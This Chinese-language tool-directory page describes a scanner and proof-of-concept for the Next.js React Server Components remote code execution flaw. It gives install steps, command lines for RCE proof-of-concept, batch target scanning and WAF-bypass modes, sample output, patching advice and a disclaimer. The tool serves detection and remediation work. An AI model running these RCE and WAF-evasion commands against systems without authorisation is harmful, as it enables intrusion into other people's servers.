Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
POC2-CVE-2025-55182 — 多模式漏洞扫描器,用于检测 Next.js RCE(CVE-2025-66478/55182),具备安全的侧信道检测、RCE 概念验证、WAF 绕过技术以及本地项目依赖扫描功能。 | Kitploit
工具/GitHubGitHub/iamblacksolo2-bugbounty/poc2-cve-2025-55182
漏洞扫描器Payload生成漏洞利用Web应用程序漏洞利用WAF绕过渗透测试
GitHubiamblacksolo2-bugbounty/poc2-cve-2025-55182

POC2-CVE-2025-55182

多模式漏洞扫描器,用于检测 Next.js RCE(CVE-2025-66478/55182),具备安全的侧信道检测、RCE 概念验证、WAF 绕过技术以及本地项目依赖扫描功能。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
59个月前尚未审核
分享

React2Shell Ultimate - CVE-2025-66478 扫描器

CVE-2025-66478 CVE-2025-55182 CVSS 10.0 Python 3.7+ MIT License

面向 Next.js RSC 远程代码执行漏洞的最全面扫描器

root@kitploit:~
╔════════════════════════════════════════════════════════════════════════╗
║     ____                 _   ___  ____  _          _ _                 ║
║    |  _ \ ___  __ _  ___| |_|__ \/ ___|| |__   ___| | |                ║
║    | |_) / _ \/ _` |/ __| __| / /\___ \| '_ \ / _ \ | |                ║
║    |  _ <  __/ (_| | (__| |_ / /_ ___) | | | |  __/ | |                ║
║    |_| \_\___|\__,_|\___|\__|____|____/|_| |_|\___|_|_|                ║
║                                                                        ║
║            React2Shell Ultimate CVE-2025-66478 Scanner v1.0.0         ║
║          Next.js RSC Remote Code Execution Vulnerability               ║
╠════════════════════════════════════════════════════════════════════════╣
║                                                                        ║
║                                                                        ║
╠════════════════════════════════════════════════════════════════════════╣
║  Modes: --safe (side-channel) | --rce (PoC) | --version | --local      ║
║  WAF Bypass: --waf-bypass | --vercel-bypass | --unicode                ║
╚════════════════════════════════════════════════════════════════════════╝

🚨 漏洞概述

CVE-2025-66478(又称 CVE-2025-55182)是一个**严重级别(CVSS 10.0)**的远程代码执行漏洞,影响使用 React Server Components(RSC)的 Next.js 应用程序。

受影响版本

版本范围状态
Next.js 15.0.0 - 15.0.4⚠️ 存在漏洞
Next.js 15.1.0 - 15.1.8⚠️ 存在漏洞
Next.js 15.2.0 - 15.2.5⚠️ 存在漏洞
Next.js 15.3.0 - 15.3.5⚠️ 存在漏洞
Next.js 15.4.0 - 15.4.7⚠️ 存在漏洞
Next.js 15.5.0 - 15.5.6⚠️ 存在漏洞
Next.js 16.0.0 - 16.0.6⚠️ 存在漏洞
Next.js 14.3.0-canary.77+⚠️ 存在漏洞
Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7+✅ 已修复
Next.js 16.0.7+✅ 已修复
Next.js 13.x, 14.x stable✅ 不受影响

✨ 功能特性

本工具整合了多个 CVE-2025-66478 扫描器的最佳功能:

功能特性描述
🔍 多模式检测安全侧信道、RCE PoC、仅版本检测、本地扫描
🛡️ WAF 绕过技术垃圾数据填充、Unicode 编码、Vercel 专用绕过
📁 本地项目扫描扫描 package.json、锁文件以发现易受攻击的依赖项
⚡ 高性能多线程扫描,并发数可配置
📊 多种输出格式控制台、JSON、文件导出
🎯 精确版本检测HTTP 响应头、RSC 指纹识别、已修复版本感知

🚀 安装

root@kitploit:~
# Clone the repository
git clone https://github.com/hackersatyamrastogi/react2shell-ultimate.git
cd react2shell-ultimate

# Install dependencies
pip install -r requirements.txt

# Or install manually
pip install requests tqdm

📖 使用说明

基本扫描

root@kitploit:~
# Version detection only (fastest, no exploitation)
python3 react2shell-ultimate.py -u https://target.com --version

# Safe side-channel detection (no code execution)
python3 react2shell-ultimate.py -u https://target.com --safe

# RCE proof-of-concept (executes harmless calculation: 41*271=11111)
python3 react2shell-ultimate.py -u https://target.com --rce

# Comprehensive scan with all bypass attempts
python3 react2shell-ultimate.py -u https://target.com --comprehensive

批量扫描

root@kitploit:~
# Scan multiple targets from file
python3 react2shell-ultimate.py -l targets.txt -t 20 -o results.json

# Quiet mode - only show vulnerable hosts
python3 react2shell-ultimate.py -l targets.txt -q

# JSON output to stdout
python3 react2shell-ultimate.py -l targets.txt --json

本地项目扫描

root@kitploit:~
# Scan current directory
python3 react2shell-ultimate.py --local .

# Scan specific project path
python3 react2shell-ultimate.py --local /path/to/nextjs/projects

WAF 绕过技术

root@kitploit:~
# Junk data bypass (adds 128KB padding to evade content inspection)
python3 react2shell-ultimate.py -u https://target.com --rce --waf-bypass

# Custom junk data size
python3 react2shell-ultimate.py -u https://target.com --rce --waf-bypass --waf-bypass-size 256

# Unicode encoding bypass
python3 react2shell-ultimate.py -u https://target.com --rce --unicode

# Vercel-specific WAF bypass
python3 react2shell-ultimate.py -u https://target.com --rce --vercel-bypass

# Windows target (PowerShell payload)
python3 react2shell-ultimate.py -u https://target.com --rce --windows

高级选项

root@kitploit:~
# With proxy
python3 react2shell-ultimate.py -u https://target.com --rce --proxy http://127.0.0.1:8080

# Custom headers
python3 react2shell-ultimate.py -u https://target.com --rce -H "Authorization: Bearer token"

# Increased timeout
python3 react2shell-ultimate.py -u https://target.com --rce --timeout 30

# Verbose output
python3 react2shell-ultimate.py -u https://target.com --comprehensive -v

📋 命令行选项

选项描述
-u, --url要扫描的单个 URL
-l, --list包含 URL 的文件(每行一个)
--local扫描本地项目目录
--safe安全侧信道检测(不执行 RCE)
--rceRCE 概念验证模式
--version仅进行版本检测
--comprehensive使用所有技术进行全面扫描
--waf-bypass添加垃圾数据以绕过 WAF
--waf-bypass-size垃圾数据大小(KB,默认:128)
--unicode使用 Unicode 编码绕过 WAF
--vercel-bypassVercel 专用 WAF 绕过
--windows使用 Windows PowerShell 载荷
-t, --threads并发线程数(默认:10)
--timeout请求超时时间(秒,默认:10)
-k, --insecure禁用 SSL 验证
--proxy代理 URL(http://host:port)
-H, --header自定义请求头(可重复)
-o, --output输出文件(JSON)
--all-results保存所有结果,而不仅是易受攻击的目标
-v, --verbose详细输出
-q, --quiet仅显示易受攻击的主机
--json将 JSON 输出到标准输出
--no-color禁用彩色输出

🔬 检测方法

1. 安全侧信道检测(--safe)

在不执行任何代码的情况下触发特定的错误响应模式。通过错误处理行为识别易受攻击的 RSC 实现。

2. RCE 概念验证(--rce)

执行一次无害的数学计算(echo $((41*271)) = 11111)以确认 RCE 能力。结果会出现在 X-Action-Redirect 响应头中。

3. 版本检测(--version)

  • 检查 X-Powered-By 响应头以获取 Next.js 版本
  • 分析 Vary 响应头中的 RSC 特征
  • 探测 RSC 端点以获取 text/x-component 响应
  • 扫描页面源码以查找 Next.js 指纹

4. 本地扫描(--local)

扫描项目目录以查找:

  • package.json - 直接依赖声明
  • package-lock.json - NPM 锁文件
  • yarn.lock - Yarn 锁文件
  • pnpm-lock.yaml - PNPM 锁文件
  • bun.lockb - Bun 锁文件

📊 输出示例

控制台输出

root@kitploit:~
[VULNERABLE] https://target.com
    Version: 15.3.1 | Status: 200 | Method: rce_poc
    WAF Bypass: SUCCESS

[NOT VULNERABLE] https://safe-target.com
    Version: 15.5.7 | Status: 200 | Method: http_headers

[WAF BLOCKED] https://protected.com
    Version: 15.2.0 | Status: 403 | Method: rce_poc
    WAF Detected: Exploit blocked

JSON 输出

root@kitploit:~
{
  "tool": "React2Shell Ultimate CVE-2025-66478 Scanner",
  "version": "1.0.0",
  "cve_ids": ["CVE-2025-55182", "CVE-2025-66478"],
  "scan_time": "2025-12-06T12:00:00Z",
  "total_results": 1,
  "results": [
    {
      "url": "https://target.com",
      "vulnerable": true,
      "version": "15.3.1",
      "status_code": 200,
      "detection_method": "rce_poc",
      "waf_detected": false,
      "waf_bypassed": false
    }
  ]
}

🛡️ 修复建议

如果发现易受攻击的应用程序:

  1. 立即升级到已修复版本:

    • Next.js 15.x → 升级到 15.5.7+(或你所在次要版本的对应补丁)
    • Next.js 16.x → 升级到 16.0.7+
  2. 临时缓解措施:

    • 使用 Edge Runtime 而非 Node.js runtime
    • 如非必要,禁用 Server Actions
    • 部署在具备 RSC 载荷检测能力的 WAF 之后
  3. 监控日志中的利用尝试

📚 参考链接

  • Next.js 安全公告 - CVE-2025-66478
  • Assetnote 研究 - React2Shell
  • NVD - CVE-2025-66478

⚠️ 免责声明

本工具仅用于经授权的安全测试和教育目的。

  • 仅可扫描你拥有明确测试许可的系统
  • RCE PoC 模式会在目标系统上执行代码(无害计算)
  • 未经授权访问计算机系统属于违法行为
  • 作者不对本工具的滥用行为负责

📄 许可证

MIT 许可证 - 详情请参阅 LICENSE 文件。


⭐ 如果你觉得这个工具对你有用,请给本仓库点个 Star!⭐

下载工具